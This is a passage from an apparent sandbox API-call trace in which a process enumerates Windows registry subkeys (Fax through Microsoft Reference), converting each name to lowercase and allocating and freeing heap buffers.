Size=0x40) returned 0x58c120 [0248.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.808] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x58b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0248.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0248.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.808] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x58b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0248.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x58c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0248.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.808] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x58b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0248.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x58c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0248.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.808] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.808] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x58b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0248.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x58c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0248.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.809] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x58b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0248.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0248.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x58c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0248.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.809] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x58b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0248.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x58c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0248.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.809] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x58b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0248.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x58c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0248.809] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.809] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.810] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x58b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0248.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x58c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0248.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.810] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0x58b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0248.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x58c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0248.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.810] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0x58b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0248.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x58c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0248.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.810] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.810] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0x58b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0248.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x58c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0248.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.811] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0x58b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0248.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x58c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0248.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.811] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0x58b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0248.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x58c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0248.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.811] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2d, lpName=0x58b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0248.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x58c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0248.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.811] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.811] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2e, lpName=0x58b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0248.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0248.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x58c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0248.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.812] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2f, lpName=0x58b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0248.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0248.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x58c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0248.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.812] RegEnumKeyW (in: hKey=0x38, dwIndex=0x30, lpName=0x58b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0248.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x58c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0248.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.812] RegEnumKeyW (in: hKey=0x38, dwIndex=0x31, lpName=0x58b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0248.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x58c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0248.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.812] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.812] RegEnumKeyW (in: hKey=0x38, dwIndex=0x32, lpName=0x58b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0248.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x58c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0248.813] RegEnumKeyW (in: hKey=0x38, dwIndex=0x33, lpName=0x58b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0248.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0248.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x58c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0248.813] RegEnumKeyW (in: hKey=0x38, dwIndex=0x34, lpName=0x58b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0248.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x58c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0248.813] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0x58b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0248.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0248.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x58c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0248.813] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0x58b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0248.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0248.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x58c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 